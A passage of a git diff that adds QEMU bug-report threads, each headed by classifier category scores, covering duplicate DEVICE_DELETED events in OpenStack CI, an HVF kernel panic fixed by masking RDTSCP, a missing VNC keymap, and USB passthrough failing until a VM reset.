+5b7bfe515ecbd584b40ff6e41d2fd8b37c7d5139 blockdev: unify qmp_blockdev_backup and blockdev-backup transaction paths +2288ccfac96281c316db942d10e3f921c1373064 blockdev: unify qmp_drive_backup and drive-backup transaction paths +7f16476fab14fc32388e0ebae793f64673848efa block: Fix blk->in_flight during blk_wait_while_drained() +30dd65f307b647eef8156c4a33bd007823ef85cb block: Fix cross-AioContext blockdev-snapshot +eeea1faa099f82328f5831cf252f8ce0a59a9287 block: Fix leak in bdrv_create_file_fallback() +fd17146cd93d1704cd96d7c2757b325fc7aac6fd block: Generic file creation fallback +fbb92b6798894d3bf62fe3578d99fa62c720b242 block: Increase BB.in_flight for coroutine and sync interfaces +17e1e2be5f9e84e0298e28e70675655b43e225ea block: Introduce 'bdrv_reopen_commit_post' step +9bffae14df879255329473a7bd578643af2d4c9c block: introducing 'bdrv_co_delete_file' interface +c7a0f2be8f95b220cdadbba9a9236eaf115951dc block: Make bdrv_get_cumulative_perm() public +ef893b5c84f3199d777e33966dc28839f71b1a5c block: Make it easier to learn which BDS support bitmaps +78c81a3f108870d325b0a39d88711366afe6f703 block/nbd: Fix hang in .bdrv_close() +b92902dfeaafbceaf744ab7473f2d070284f6172 block: pass BlockDriver reference to the .bdrv_co_create +65eb7c85a3e62529e2bad782e94d5a7b11dd5a92 block/qcow2: Move bitmap reopen into bdrv_reopen_commit_post +d29d3d1f80b3947fb26e7139645c83de66d146a9 block: Relax restrictions for blockdev-snapshot +5a5e7f8cd86b7ced0732b1b6e28c82baa65b09c9 block: trickle down the fallback image creation function use to the block drivers +955c7d6687fefcd903900a1e597fcbc896c661cd block: truncate: Don't make backing file data visible +1bba30da24e1124ceeb0693c81382a0d77e20ca5 crypto.c: cleanup created file when block_crypto_co_create_opts_luks fails +87ca3b8fa615b278b33cabf9ed22b3f44b5214ba file-posix: Drop hdev_co_create_opts() +2f0c6e7a650de133eccd94e9bb6cf7b2070f07f1 file-posix: Support BDRV_REQ_ZERO_WRITE for truncate +89b6fc45614bb45dcd58f1590415afe5c2791abd hmp: Allow using qdev ID for qemu-io command +80f0900905b555f00d644894c786b6d66ac2e00e iscsi: Drop iscsi_co_create_opts() +0501e1aa1d32a6e02dd06a79bba97fbe9d557cb5 hw/pci/pcie: Forbid hot-plug if it's disabled on the slot +0dabc0f6544f2c0310546f6d6cf3b68979580a9c hw/pci/pcie: Move hot plug capability check to pre_plug callback +6a1e073378353eb6ac0565e0dc649b3db76ed5dc hw/pci/pcie: Replace PCI_DEVICE() casts with existing variable +b660a84bbb0eb1a76b505648d31d5e82594fb75e job: take each job's lock individually in job_txn_apply +530a0963184e57e71a5b538e9161f115df533e96 pcie_root_port: Add hotplug disabling optio +c6bdc312f30d5c7326aa2fdca3e0f98c15eb541a qapi: Add '@allow-write-only-overlay' feature for 'blockdev-snapshot' +5d72c68b49769c927e90b78af6d90f6a384b26ac qcow2: Expose bitmaps' size during measure +eb8a0cf3ba26611f3981f8f45ac6a868975a68cc qcow2: Forward ZERO_WRITE flag for full preallocation +f01643fb8b47e8a70c04bbf45e0f12a9e5bc54de qcow2: Support BDRV_REQ_ZERO_WRITE for truncate +a555b8092abc6f1bbe4b64c516679cbd68fcfbd8 qemu-file: Don't do IO after shutdown +08558e33257ec796594bd411261028a93414a70c replication: assert we own context before job_cancel_sync +49b44549ace7890fffdf027fd3695218ee7f1121 virtio-blk: On restart, process queued requests in the proper context +7aa1c247b466870b0704d3ccdc3755e5e7394dca virtio-blk: Refactor the code that processes queued requests +d0435bc513e23a4961b6af20164d1c6c219eb4ea virtio: don't enable notifications during polling + +Vice versa being on 4.2.1 already gives Ubuntu some block changes that might have caused this... + +Waiting for Sean/Lee to comment on how testable/reliable that is on their end -> incomplete + +@Christian Yes we can test this in OpenStack CI with PPAs if you could provide Bionic based builds. + +Better yet I could even try to setup a git bisect locally if you have steps to build from a source tree somewhere? + +@James Did you try using OpenStack CI sized hosts (8 vCPUs, 8GB of RAM) and the QEMU virt_type? That was the most reliable way I found of hitting this and running the `tox -e full` tempest target to envoke a full tempest run. + + +> @Christian Yes we can test this in OpenStack CI with PPAs if you +> could provide Bionic based builds. + +I'm not sure what I was thinking here but we *can* use Focal based builds of QEMU in CI now. + +While testing >=v5.0.0 on Fedora 32 I've stumbled across the following change in QEMU: + +https://github.com/qemu/qemu/commit/cce8944cc9efab47d4bf29cfffb3470371c3541b + +The change suggests that previously parallel requests to detach a PCIe device (such as virtio-blk) from QEMU would result in the original request being cancelled. We are hitting the above check and error with v5.0.0 in OpenStack CI that made me wonder if we are hitting the original issue in this bug where QEMU is < v5.0.0? + +Here's an example from QMP_requests_and_replies_from_libvirtd.log.gz attached earlier to the bug by Kashyap. We can see two device_del commands prior to only seeing a single event emitted by QEMU: + +http://paste.openstack.org/show/798607/ + +# zgrep 0x7f768806eaf0 QMP_requests_and_replies_from_libvirtd.log.gz | egrep '(device_del|DEVICE_DELETED)' +2020-09-07 19:50:11.315+0000: 65558: info : qemuMonitorSend:993 : QEMU_MONITOR_SEND_MSG: mon=0x7f768806eaf0 msg={"execute":"device_del","arguments":{"id":"virtio-disk1"},"id":"libvirt-367"} +2020-09-07 19:50:17.535+0000: 65557: info : qemuMonitorSend:993 : QEMU_MONITOR_SEND_MSG: mon=0x7f768806eaf0 msg={"execute":"device_del","arguments":{"id":"virtio-disk1"},"id":"libvirt-369"} +2020-09-07 19:50:18.138+0000: 65555: info : qemuMonitorJSONIOProcessLine:234 : QEMU_MONITOR_RECV_EVENT: mon=0x7f768806eaf0 event={"timestamp": {"seconds": 1599508218, "microseconds": 138046}, "event": "DEVICE_DELETED", "data": {"path": "/machine/peripheral/virtio-disk1/virtio-backend"}} +2020-09-07 19:50:24.549+0000: 65556: info : qemuMonitorSend:993 : QEMU_MONITOR_SEND_MSG: mon=0x7f768806eaf0 msg={"execute":"device_del","arguments":{"id":"virtio-disk1"},"id":"libvirt-371"} +2020-09-07 19:50:33.561+0000: 65556: info : qemuMonitorSend:993 : QEMU_MONITOR_SEND_MSG: mon=0x7f768806eaf0 msg={"execute":"device_del","arguments":{"id":"virtio-disk1"},"id":"libvirt-373"} +2020-09-07 19:50:44.572+0000: 65557: info : qemuMonitorSend:993 : QEMU_MONITOR_SEND_MSG: mon=0x7f768806eaf0 msg={"execute":"device_del","arguments":{"id":"virtio-disk1"},"id":"libvirt-375"} +2020-09-07 19:50:57.583+0000: 65558: info : qemuMonitorSend:993 : QEMU_MONITOR_SEND_MSG: mon=0x7f768806eaf0 msg={"execute":"device_del","arguments":{"id":"virtio-disk1"},"id":"libvirt-377"} +2020-09-07 19:51:12.595+0000: 65556: info : qemuMonitorSend:993 : QEMU_MONITOR_SEND_MSG: mon=0x7f768806eaf0 msg={"execute":"device_del","arguments":{"id":"virtio-disk1"},"id":"libvirt-379"} +2020-09-07 19:51:30.548+0000: 65557: info : qemuMonitorSend:993 : QEMU_MONITOR_SEND_MSG: mon=0x7f768806eaf0 msg={"execute":"device_del","arguments":{"id":"virtio-disk1"},"id":"libvirt-381"} +2020-09-07 19:51:51.804+0000: 65559: info : qemuMonitorSend:993 : QEMU_MONITOR_SEND_MSG: mon=0x7f768806eaf0 msg={"execute":"device_del","arguments":{"id":"virtio-disk1"},"id":"libvirt-383"} +2020-09-07 19:53:33.286+0000: 65559: info : qemuMonitorSend:993 : QEMU_MONITOR_SEND_MSG: mon=0x7f768806eaf0 msg={"execute":"device_del","arguments":{"id":"virtio-disk1"},"id":"libvirt-385"} +2020-09-07 19:53:40.310+0000: 65558: info : qemuMonitorSend:993 : QEMU_MONITOR_SEND_MSG: mon=0x7f768806eaf0 msg={"execute":"device_del","arguments":{"id":"virtio-disk1"},"id":"libvirt-387"} +2020-09-07 19:53:49.353+0000: 65556: info : qemuMonitorSend:993 : QEMU_MONITOR_SEND_MSG: mon=0x7f768806eaf0 msg={"execute":"device_del","arguments":{"id":"virtio-disk1"},"id":"libvirt-389"} +2020-09-07 19:54:00.771+0000: 65560: info : qemuMonitorSend:993 : QEMU_MONITOR_SEND_MSG: mon=0x7f768806eaf0 msg={"execute":"device_del","arguments":{"id":"virtio-disk1"},"id":"libvirt-391"} +2020-09-07 19:54:15.737+0000: 65559: info : qemuMonitorSend:993 : QEMU_MONITOR_SEND_MSG: mon=0x7f768806eaf0 msg={"execute":"device_del","arguments":{"id":"virtio-disk1"},"id":"libvirt-393"} +2020-09-07 19:54:30.767+0000: 65557: info : qemuMonitorSend:993 : QEMU_MONITOR_SEND_MSG: mon=0x7f768806eaf0 msg={"execute":"device_del","arguments":{"id":"virtio-disk1"},"id":"libvirt-395"} +2020-09-07 19:54:47.778+0000: 65560: info : qemuMonitorSend:993 : QEMU_MONITOR_SEND_MSG: mon=0x7f768806eaf0 msg={"execute":"device_del","arguments":{"id":"virtio-disk1"},"id":"libvirt-397"} +2020-09-07 19:55:06.793+0000: 65559: info : qemuMonitorSend:993 : QEMU_MONITOR_SEND_MSG: mon=0x7f768806eaf0 msg={"execute":"device_del","arguments":{"id":"virtio-disk1"},"id":"libvirt-399"} + +Thanks Lee, +builds are most reliably done in Lauchpad IMHO and the Ubuntu Delta is a quilt stack which isn't as easily bisectable. +If we end up searching not between Ubuntu Delta I can help to get you qemu built from git for that. +But for some initially probing which range of changes we want to actually look at let me provide you PPAs. + +Try #1 in PPA [1] is the fix you referred [2] to that avoids the double delete to cause unexpected results. It will also add the warnings you have seen. So giving it a test should be a great first try. + +Let me know what the results with that are. + +[1]: https://launchpad.net/~ci-train-ppa-service/+archive/ubuntu/4294/+packages +[2]: https://github.com/qemu/qemu/commit/cce8944cc9efab47d4bf29cfffb3470371c3541b + +Thanks Christian, + +I'll confirm that we see error from [2] with that PPA shortly. + +In the meantime I've removed the device detach retry logic from OpenStack Nova and now always see two DEVICE_DELETED events raised by QEMU after a single device_del request from libvirt: + +http://paste.openstack.org/show/798637/ + +# zgrep 'debug.*"event": "DEVICE_DELETED"' libvirtd_log.txt.gz +2020-10-01 21:37:33.180+0000: 55842: debug : qemuMonitorJSONIOProcessLine:220 : Line [{"timestamp": {"seconds": 1601588253, "microseconds": 179881}, "event": "DEVICE_DELETED", "data": {"path": "/machine/peripheral/virtio-disk1/virtio-backend"}}] +2020-10-01 21:37:33.242+0000: 55842: debug : qemuMonitorJSONIOProcessLine:220 : Line [{"timestamp": {"seconds": 1601588253, "microseconds": 242565}, "event": "DEVICE_DELETED", "data": {"device": "virtio-disk1", "path": "/machine/peripheral/virtio-disk1"}}] + +2020-10-01 21:40:17.062+0000: 55842: debug : qemuMonitorJSONIOProcessLine:220 : Line [{"timestamp": {"seconds": 1601588417, "microseconds": 62704}, "event": "DEVICE_DELETED", "data": {"path": "/machine/peripheral/virtio-disk1/virtio-backend"}}] +2020-10-01 21:40:17.114+0000: 55842: debug : qemuMonitorJSONIOProcessLine:220 : Line [{"timestamp": {"seconds": 1601588417, "microseconds": 113888}, "event": "DEVICE_DELETED", "data": {"device": "virtio-disk1", "path": "/machine/peripheral/virtio-disk1"}}] + +2020-10-01 21:40:20.911+0000: 55842: debug : qemuMonitorJSONIOProcessLine:220 : Line [{"timestamp": {"seconds": 1601588420, "microseconds": 911560}, "event": "DEVICE_DELETED", "data": {"path": "/machine/peripheral/virtio-disk1/virtio-backend"}}] +2020-10-01 21:40:20.985+0000: 55842: debug : qemuMonitorJSONIOProcessLine:220 : Line [{"timestamp": {"seconds": 1601588420, "microseconds": 985753}, "event": "DEVICE_DELETED", "data": {"device": "virtio-disk1", "path": "/machine/peripheral/virtio-disk1"}}] + +2020-10-01 21:42:53.528+0000: 55842: debug : qemuMonitorJSONIOProcessLine:220 : Line [{"timestamp": {"seconds": 1601588573, "microseconds": 528330}, "event": "DEVICE_DELETED", "data": {"path": "/machine/peripheral/net1/virtio-backend"}}] +2020-10-01 21:42:53.583+0000: 55842: debug : qemuMonitorJSONIOProcessLine:220 : Line [{"timestamp": {"seconds": 1601588573, "microseconds": 583063}, "event": "DEVICE_DELETED", "data": {"device": "net1", "path": "/machine/peripheral/net1"}}] + +2020-10-01 21:44:21.156+0000: 55842: debug : qemuMonitorJSONIOProcessLine:220 : Line [{"timestamp": {"seconds": 1601588661, "microseconds": 155903}, "event": "DEVICE_DELETED", "data": {"path": "/machine/peripheral/net1/virtio-backend"}}] +2020-10-01 21:44:21.214+0000: 55842: debug : qemuMonitorJSONIOProcessLine:220 : Line [{"timestamp": {"seconds": 1601588661, "microseconds": 213714}, "event": "DEVICE_DELETED", "data": {"device": "net1", "path": "/machine/peripheral/net1"}}] + +2020-10-01 21:45:55.422+0000: 55842: debug : qemuMonitorJSONIOProcessLine:220 : Line [{"timestamp": {"seconds": 1601588755, "microseconds": 422238}, "event": "DEVICE_DELETED", "data": {"path": "/machine/peripheral/net1/virtio-backend"}}] +2020-10-01 21:45:55.479+0000: 55842: debug : qemuMonitorJSONIOProcessLine:220 : Line [{"timestamp": {"seconds": 1601588755, "microseconds": 479250}, "event": "DEVICE_DELETED", "data": {"device": "net1", "path": "/machine/peripheral/net1"}}] + +2020-10-01 21:46:09.001+0000: 55842: debug : qemuMonitorJSONIOProcessLine:220 : Line [{"timestamp": {"seconds": 1601588769, "microseconds": 970}, "event": "DEVICE_DELETED", "data": {"path": "/machine/peripheral/net1/virtio-backend"}}] +2020-10-01 21:46:09.059+0000: 55842: debug : qemuMonitorJSONIOProcessLine:220 : Line [{"timestamp": {"seconds": 1601588769, "microseconds": 58799}, "event": "DEVICE_DELETED", "data": {"device": "net1", "path": "/machine/peripheral/net1"}}] + +2020-10-01 21:48:05.182+0000: 55842: debug : qemuMonitorJSONIOProcessLine:220 : Line [{"timestamp": {"seconds": 1601588885, "microseconds": 182382}, "event": "DEVICE_DELETED", "data": {"path": "/machine/peripheral/virtio-disk1/virtio-backend"}}] +2020-10-01 21:48:05.246+0000: 55842: debug : qemuMonitorJSONIOProcessLine:220 : Line [{"timestamp": {"seconds": 1601588885, "microseconds": 246077}, "event": "DEVICE_DELETED", "data": {"device": "virtio-disk1", "path": "/machine/peripheral/virtio-disk1"}}] + +2020-10-01 21:48:08.211+0000: 55842: debug : qemuMonitorJSONIOProcessLine:220 : Line [{"timestamp": {"seconds": 1601588888, "microseconds": 211386}, "event": "DEVICE_DELETED", "data": {"path": "/machine/peripheral/net1/virtio-backend"}}] +2020-10-01 21:48:08.269+0000: 55842: debug : qemuMonitorJSONIOProcessLine:220 : Line [{"timestamp": {"seconds": 1601588888, "microseconds": 269371}, "event": "DEVICE_DELETED", "data": {"device": "net1", "path": "/machine/peripheral/net1"}}] + +2020-10-01 21:51:58.384+0000: 55842: debug : qemuMonitorJSONIOProcessLine:220 : Line [{"timestamp": {"seconds": 1601589118, "microseconds": 384455}, "event": "DEVICE_DELETED", "data": {"path": "/machine/peripheral/virtio-disk1/virtio-backend"}}] +2020-10-01 21:51:58.443+0000: 55842: debug : qemuMonitorJSONIOProcessLine:220 : Line [{"timestamp": {"seconds": 1601589118, "microseconds": 442848}, "event": "DEVICE_DELETED", "data": {"device": "virtio-disk1", "path": "/machine/peripheral/virtio-disk1"}}] + +2020-10-01 21:52:02.482+0000: 55842: debug : qemuMonitorJSONIOProcessLine:220 : Line [{"timestamp": {"seconds": 1601589122, "microseconds": 361461}, "event": "DEVICE_DELETED", "data": {"path": "/machine/peripheral/virtio-disk2/virtio-backend"}}] +2020-10-01 21:52:02.482+0000: 55842: debug : qemuMonitorJSONIOProcessLine:220 : Line [{"timestamp": {"seconds": 1601589122, "microseconds": 427718}, "event": "DEVICE_DELETED", "data": {"device": "virtio-disk2", "path": "/machine/peripheral/virtio-disk2"}}] + +2020-10-01 21:52:18.258+0000: 55842: debug : qemuMonitorJSONIOProcessLine:220 : Line [{"timestamp": {"seconds": 1601589138, "microseconds": 258652}, "event": "DEVICE_DELETED", "data": {"path": "/machine/peripheral/virtio-disk1/virtio-backend"}}] +2020-10-01 21:52:18.326+0000: 55842: debug : qemuMonitorJSONIOProcessLine:220 : Line [{"timestamp": {"seconds": 1601589138, "microseconds": 325449}, "event": "DEVICE_DELETED", "data": {"device": "virtio-disk1", "path": "/machine/peripheral/virtio-disk1"}}] + +2020-10-01 21:52:43.585+0000: 55842: debug : qemuMonitorJSONIOProcessLine:220 : Line [{"timestamp": {"seconds": 1601589163, "microseconds": 585656}, "event": "DEVICE_DELETED", "data": {"path": "/machine/peripheral/virtio-disk1/virtio-backend"}}] +2020-10-01 21:52:43.656+0000: 55842: debug : qemuMonitorJSONIOProcessLine:220 : Line [{"timestamp": {"seconds": 1601589163, "microseconds": 656097}, "event": "DEVICE_DELETED", "data": {"device": "virtio-disk1", "path": "/machine/peripheral/virtio-disk1"}}] + +2020-10-01 21:53:00.216+0000: 55842: debug : qemuMonitorJSONIOProcessLine:220 : Line [{"timestamp": {"seconds": 1601589180, "microseconds": 216080}, "event": "DEVICE_DELETED", "data": {"path": "/machine/peripheral/virtio-disk1/virtio-backend"}}] +2020-10-01 21:53:00.277+0000: 55842: debug : qemuMonitorJSONIOProcessLine:220 : Line [{"timestamp": {"seconds": 1601589180, "microseconds": 276944}, "event": "DEVICE_DELETED", "data": {"device": "virtio-disk1", "path": "/machine/peripheral/virtio-disk1"}}] + +2020-10-01 21:53:18.426+0000: 55842: debug : qemuMonitorJSONIOProcessLine:220 : Line [{"timestamp": {"seconds": 1601589198, "microseconds": 425877}, "event": "DEVICE_DELETED", "data": {"path": "/machine/peripheral/virtio-disk1/virtio-backend"}}] +2020-10-01 21:53:18.477+0000: 55842: debug : qemuMonitorJSONIOProcessLine:220 : Line [{"timestamp": {"seconds": 1601589198, "microseconds": 477615}, "event": "DEVICE_DELETED", "data": {"device": "virtio-disk1", "path": "/machine/peripheral/virtio-disk1"}}] + +2020-10-01 21:53:35.651+0000: 55842: debug : qemuMonitorJSONIOProcessLine:220 : Line [{"timestamp": {"seconds": 1601589215, "microseconds": 252907}, "event": "DEVICE_DELETED", "data": {"path": "/machine/peripheral/virtio-disk1/virtio-backend"}}] +2020-10-01 21:53:35.652+0000: 55842: debug : qemuMonitorJSONIOProcessLine:220 : Line [{"timestamp": {"seconds": 1601589215, "microseconds": 304900}, "event": "DEVICE_DELETED", "data": {"device": "virtio-disk1", "path": "/machine/peripheral/virtio-disk1"}}] + +2020-10-01 22:02:58.751+0000: 55842: debug : qemuMonitorJSONIOProcessLine:220 : Line [{"timestamp": {"seconds": 1601589778, "microseconds": 751743}, "event": "DEVICE_DELETED", "data": {"path": "/machine/peripheral/virtio-disk1/virtio-backend"}}] +2020-10-01 22:02:58.782+0000: 55842: debug : qemuMonitorJSONIOProcessLine:220 : Line [{"timestamp": {"seconds": 1601589778, "microseconds": 782611}, "event": "DEVICE_DELETED", "data": {"device": "virtio-disk1", "path": "/machine/peripheral/virtio-disk1"}}] + +2020-10-01 22:03:02.982+0000: 55842: debug : qemuMonitorJSONIOProcessLine:220 : Line [{"timestamp": {"seconds": 1601589782, "microseconds": 982181}, "event": "DEVICE_DELETED", "data": {"path": "/machine/peripheral/virtio-disk1/virtio-backend"}}] +2020-10-01 22:03:03.045+0000: 55842: debug : qemuMonitorJSONIOProcessLine:220 : Line [{"timestamp": {"seconds": 1601589783, "microseconds": 45393}, "event": "DEVICE_DELETED", "data": {"device": "virtio-disk1", "path": "/machine/peripheral/virtio-disk1"}}] + +2020-10-01 22:04:05.845+0000: 55842: debug : qemuMonitorJSONIOProcessLine:220 : Line [{"timestamp": {"seconds": 1601589845, "microseconds": 845577}, "event": "DEVICE_DELETED", "data": {"path": "/machine/peripheral/virtio-disk1/virtio-backend"}}] +2020-10-01 22:04:05.907+0000: 55842: debug : qemuMonitorJSONIOProcessLine:220 : Line [{"timestamp": {"seconds": 1601589845, "microseconds": 907294}, "event": "DEVICE_DELETED", "data": {"device": "virtio-disk1", "path": "/machine/peripheral/virtio-disk1"}}] + +2020-10-01 22:04:08.004+0000: 55842: debug : qemuMonitorJSONIOProcessLine:220 : Line [{"timestamp": {"seconds": 1601589848, "microseconds": 4374}, "event": "DEVICE_DELETED", "data": {"path": "/machine/peripheral/virtio-disk1/virtio-backend"}}] +2020-10-01 22:04:08.066+0000: 55842: debug : qemuMonitorJSONIOProcessLine:220 : Line [{"timestamp": {"seconds": 1601589848, "microseconds": 66444}, "event": "DEVICE_DELETED", "data": {"device": "virtio-disk1", "path": "/machine/peripheral/virtio-disk1"}}] + +2020-10-01 22:05:52.990+0000: 55842: debug : qemuMonitorJSONIOProcessLine:220 : Line [{"timestamp": {"seconds": 1601589952, "microseconds": 990549}, "event": "DEVICE_DELETED", "data": {"path": "/machine/peripheral/virtio-disk1/virtio-backend"}}] +2020-10-01 22:05:53.015+0000: 55842: debug : qemuMonitorJSONIOProcessLine:220 : Line [{"timestamp": {"seconds": 1601589953, "microseconds": 14845}, "event": "DEVICE_DELETED", "data": {"device": "virtio-disk1", "path": "/machine/peripheral/virtio-disk1"}}] + +2020-10-01 22:07:37.477+0000: 55842: debug : qemuMonitorJSONIOProcessLine:220 : Line [{"timestamp": {"seconds": 1601590057, "microseconds": 477326}, "event": "DEVICE_DELETED", "data": {"path": "/machine/peripheral/virtio-disk1/virtio-backend"}}] +2020-10-01 22:07:37.544+0000: 55842: debug : qemuMonitorJSONIOProcessLine:220 : Line [{"timestamp": {"seconds": 1601590057, "microseconds": 544586}, "event": "DEVICE_DELETED", "data": {"device": "virtio-disk1", "path": "/machine/peripheral/virtio-disk1"}}] + +2020-10-01 22:08:15.655+0000: 55842: debug : qemuMonitorJSONIOProcessLine:220 : Line [{"timestamp": {"seconds": 1601590095, "microseconds": 655117}, "event": "DEVICE_DELETED", "data": {"path": "/machine/peripheral/virtio-disk1/virtio-backend"}}] +2020-10-01 22:08:15.717+0000: 55842: debug : qemuMonitorJSONIOProcessLine:220 : Line [{"timestamp": {"seconds": 1601590095, "microseconds": 716847}, "event": "DEVICE_DELETED", "data": {"device": "virtio-disk1", "path": "/machine/peripheral/virtio-disk1"}}] + +I'll close this bug out as invalid once I've tested with the PPA and confirmed that we hit the new check. + + +I was seeing in my manual tests that the delete->Event was taking a bit longer, maybe your retry logic kicks in before it is complete now. And due to that the problem takes place. + +So with the PPA you should get: +a) a warning, but no more the cancelled/undefined behavior on double delete +b) can tune your retry logic to no more trigger the warning messages + +So I wasn't sure from the logs - is the fix in the PPA good to overcome the issue completely or is it missing something? + +Is there still anything left to do here for upstream QEMU? + +[Expired for qemu (Ubuntu) because there has been no activity for 60 days.] + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/108/graphic/1894836 b/results/classifier/108/graphic/1894836 new file mode 100644 index 000000000..372f1f09b --- /dev/null +++ b/results/classifier/108/graphic/1894836 @@ -0,0 +1,70 @@ +graphic: 0.952 +boot: 0.918 +performance: 0.916 +files: 0.904 +device: 0.903 +vnc: 0.871 +PID: 0.847 +network: 0.832 +other: 0.788 +permissions: 0.772 +semantic: 0.752 +socket: 0.734 +KVM: 0.645 +debug: 0.581 + +kernel panic using hvf with CPU passthrough + +Host Details +QEMU 5.1 (Homebrew) +macOS 10.15.6 Catalina +Late 2014 model +i5-4690 @ 3.5 GHz +8 GB RAM + +Guest Details +Ubuntu Desktop 20.04.1 Installer ISO + +Problem +Whenever I boot with "-accel hvf -cpu host", the Ubuntu desktop installer will immediately crash with a kernel panic after the initial splash screen. +See the attached picture of the kernel panic for more details. + +Steps to recreate +From https://www.jwillikers.com/posts/virtualize_ubuntu_desktop_on_macos_with_qemu/ + +1. Install QEMU with Homebrew. +$ brew install qemu + +2. Create a qcow2 disk image to which to install. +$ qemu-img create -f qcow2 ubuntu2004.qcow2 60G + +3. Download the ISO. +$ curl -L -o ubuntu-20.04.1-desktop-amd64.iso https://releases.ubuntu.com/20.04/ubuntu-20.04.1-desktop-amd64.iso + +4. Run the installer in QEMU. +$ qemu-system-x86_64 \ + -accel hvf \ + -cpu host \ + -smp 2 \ + -m 4G \ + -usb \ + -device usb-tablet \ + -vga virtio \ + -display default,show-cursor=on \ + -device virtio-net,netdev=vmnic -netdev user,id=vmnic \ + -audiodev coreaudio,id=snd0 \ + -device ich9-intel-hda -device hda-output,audiodev=snd0 \ + -cdrom ubuntu-20.04.1-desktop-amd64.iso \ + -drive file=ubuntu2004.qcow2,if=virtio + +Workaround +Emulating the CPU with "-cpu qemu64" does not result in a kernel panic. + + + +0f 01 f9 is RDTSCP; use -cpu host,-rdtscp to mask out the feature. KVM couldn't pass the feature through for a while, and HVF currently can't, though HVF should be modified to automatically hide the feature until it can emulate it. + +Thanks for the response Jessica! The option you provided fixes the problem and everything works flawlessly now. Thank you!! + +Fixed in commit 65baabca22366e5246955474228908d6a8354881 + diff --git a/results/classifier/108/graphic/1895219 b/results/classifier/108/graphic/1895219 new file mode 100644 index 000000000..33551d6a7 --- /dev/null +++ b/results/classifier/108/graphic/1895219 @@ -0,0 +1,103 @@ +graphic: 0.948 +other: 0.944 +permissions: 0.928 +semantic: 0.922 +device: 0.919 +socket: 0.902 +performance: 0.898 +debug: 0.891 +network: 0.886 +PID: 0.885 +files: 0.851 +boot: 0.830 +vnc: 0.811 +KVM: 0.768 + +qemu git -vnc fails due to missing en-us keymap + +If trying to run qemu with -vnc :0, it will fail with: +./qemu-system-x86_64 -vnc :2 +qemu-system-x86_64: -vnc :2: could not read keymap file: 'en-us' + +share/keymaps is missing en-us keymap and only has sl and sv, confirmed previous stable versions had en-us. + +Tried with multiple targets, on arm64 and amd64 + +Git commit hash: 9435a8b3dd35f1f926f1b9127e8a906217a5518a (head) + +A work around to get vnc enabled for those that need it until this is fixed is to manually copy from source tree pc-bios/keymaps/* to qemu-data keymaps directory, usually installed at /usr/share/qemu/keymaps or /usr/local/share/qemu/keymaps (default prefix). + +Commit that broke the install of keymaps is either https://github.com/qemu/qemu/commit/09db9b9db38e82acbc1fd4fa4661ac19c387380c (commit hash 09db9b9db38e82acbc1fd4fa4661ac19c387380c) + +or https://github.com/qemu/qemu/commit/ddcf607fa3d6881cf0286a9b88a40fde265cbe37 (commit hash ddcf607fa3d6881cf0286a9b88a40fde265cbe37) + + +I can also reproduce this issue. +CC Gerd Hoffmann + + +On 200914 1327, Darren Blaber wrote: +> ** Branch unlinked: lp:envbot/0.0.1 +> +> -- +> You received this bug notification because you are a member of qemu- +> devel-ml, which is subscribed to QEMU. +> https://bugs.launchpad.net/bugs/1895219 +> +> Title: +> qemu git -vnc fails due to missing en-us keymap +> +> Status in QEMU: +> New +> +> Bug description: +> If trying to run qemu with -vnc :0, it will fail with: +> ./qemu-system-x86_64 -vnc :2 +> qemu-system-x86_64: -vnc :2: could not read keymap file: 'en-us' +> +> share/keymaps is missing en-us keymap and only has sl and sv, +> confirmed previous stable versions had en-us. +> +> Tried with multiple targets, on arm64 and amd64 +> +> Git commit hash: 9435a8b3dd35f1f926f1b9127e8a906217a5518a (head) +> +> To manage notifications about this bug go to: +> https://bugs.launchpad.net/qemu/+bug/1895219/+subscriptions +> + + +Confirmed also a problem on the Windows build. Work around is to copy en-us file from +C:\Program Files\qemu\keymaps to qemu folder. + +The QEMU project is currently moving its bug tracking to another system. +For this we need to know which bugs are still valid and which could be +closed already. Thus we are setting the bug state to "Incomplete" now. + +If the bug has already been fixed in the latest upstream version of QEMU +(currently version 6.0), then please close this ticket as "Fix released". + +If it is not fixed yet and you think that this bug report here is still +valid, then you have two options: + +1) If you already have an account on gitlab.com, please open a new ticket +for this problem in our new tracker here: + + https://gitlab.com/qemu-project/qemu/-/issues + +and then close this ticket here on Launchpad (or let it expire auto- +matically after 60 days). Please mention the URL of this bug ticket on +Launchpad in the new ticket on GitLab. + +2) If you don't have an account on gitlab.com and don't intend to get +one, but still would like to keep this ticket opened, then please switch +the state back to "New" or "Confirmed" within the next 60 days (other- +wise it will get closed as "Expired"). We will then eventually migrate +the ticket automatically to the new system (but you won't be the reporter +of the bug in the new system and thus you won't get notified on changes +anymore). + +Thank you and sorry for the inconvenience. + + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/108/graphic/1906155 b/results/classifier/108/graphic/1906155 new file mode 100644 index 000000000..45ca81abf --- /dev/null +++ b/results/classifier/108/graphic/1906155 @@ -0,0 +1,916 @@ +graphic: 0.970 +vnc: 0.944 +semantic: 0.941 +debug: 0.940 +permissions: 0.934 +performance: 0.933 +device: 0.931 +other: 0.907 +socket: 0.871 +PID: 0.868 +KVM: 0.867 +network: 0.857 +files: 0.829 +boot: 0.804 + +USB Passthrough Fails on Start, Needs domain Reset + +Hi, + +I am seeing (consistently = always), USB Passthrough for my Logitech Keyboard and Mouse ... they don't work / no response on domain (VM) startup. After a reset of the VM they then work - but why are they "dead" on initial startup of the VM? Is this a known issue? + +Running, +QEMU emulator version 5.0.0 (Debian 1:5.0-5ubuntu9.1) +Copyright (c) 2003-2020 Fabrice Bellard and the QEMU Project developers + +And if it makes a difference, this is a macOS guest (on a Linux host). + +Thanks! + +Hi Russel, +I haven't seen such issues recently, but let us try to sort it out. +For that I beg your pardon but I need to start asking for a few details: + +1. what exactly (commands) does "reset of the VM" mean for you? +2. in the guest does the output of lspci -v (or whatever the macos counterpart is) change before/after reset and if so how does it change? +3. Could you track on your host "journalctl -f" output, then start the guest, then reset the guest - and attach that log here. If possible please identify the timestamps when you have reset the guest. + +Sure, NP at all! Let me try to answer, and yell if you need more details - I will get them for you. +1) Reset ... meaning if I start the domain with 'virsh start macOS' => no USB passthrough (Logitech nano receiver in this case). So then, I 'virsh reset macOS' ... USB passthrough works fine! But always needs the reset after start. Make sense? +2) Can't really check that, as I never get in to the guest OS. I can't even get into the UEFI, given that the passthrough device is a receiver for a keyboard and mouse. So it's right at the start where it's not available ... or better said, it's not available / working right from the start. +3) Sure, NP at all! Do you want me to filter journalctl, to only capture a specific target 